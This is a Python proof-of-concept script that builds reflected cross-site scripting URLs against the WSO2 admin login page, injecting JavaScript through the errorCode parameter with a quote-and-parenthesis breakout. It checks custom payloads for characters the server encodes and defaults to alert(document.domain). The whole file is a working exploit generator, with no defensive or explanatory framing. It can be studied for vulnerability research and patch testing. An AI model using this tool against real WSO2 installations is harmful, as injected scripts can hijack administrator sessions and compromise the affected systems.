import argparse
import logging
import urllib.parse


# CONSTANTS
VULNERABLE_ENDPOINT = "/carbon/admin/login.jsp?loginStatus=false&errorCode="
DEFAULT_PAYLOAD = "alert(document.domain)"

# Logging config
logging.basicConfig(level=logging.INFO, format="")
log = logging.getLogger()


def generate_payload(url, custom_payload=False):
    """
    url: string of target
    custom_payload: optional, user-inputted JavaScript to include in generated payload.
    """
    log.info(f"Generating payload for {url}...")
    if custom_payload:
        log.info(
            f"[+] GET-based reflected XSS payload: {url}{VULNERABLE_ENDPOINT}%27);{custom_payload}//"
        )
    else:
        log.info(
            f"[+] GET-based reflected XSS payload: {url}{VULNERABLE_ENDPOINT}%27);{DEFAULT_PAYLOAD}//"
        )


def strip_url_path(url):
    """
    url: string of target
    Returns URL with scheme/netloc only (see https://docs.python.org/3/library/urllib.parse.html)
    """
    parsed_url = urllib.parse.urlparse(url)
    if not parsed_url[0] and not parsed_url[1]:
        log.info(
            f"[-] Unable to parse {url}. Ensure an RFC1808-compliant 'scheme://netloc' is provided"
        )
        return url
    else:
        parsed_base_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
        return parsed_base_url


def check_payload(payload):
    """
    payload: User-inputted JavaScript string
    Checks if payload contains unsupported characters (those which are HTML entity encoded by affected WSO2 versions), returning False if so.
    """
    encoded_characters = ['"', "<", ">"]
    if any(character in payload for character in encoded_characters):
        log.info(
            f"Unsupported character(s) (\", <, >) found in payload. JavaScript won't fire with these included; try a different payload."
        )
        return False
    else:
        return urllib.parse.quote(payload)


if __name__ == "__main__":
    # Parse command line
    parser = argparse.ArgumentParser(
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    required_arguments = parser.add_argument_group("required arguments")
    required_arguments.add_argument(
        "-t",
        "--target",
        help="Target address {protocol://host} of vulnerable WSO2 application (e.g. https://localhost:9443)",
        required="True",
        action="store",
    )
    parser.add_argument(
        "-p",
        "--payload",
        help='Use custom JavaScript for generated payload (Some characters ("<>) are HTML-entity encoded and therefore are unsupported). (Defaults to alert(document.domain))',
        action="store",
        default=DEFAULT_PAYLOAD,
    )
    args = parser.parse_args()

    # Clean user target input
    args.target = strip_url_path(args.target.lower())

    # Check payload for incompatible characters
    args.payload = check_payload(args.payload)
    if args.payload:
        generate_payload(args.target, args.payload)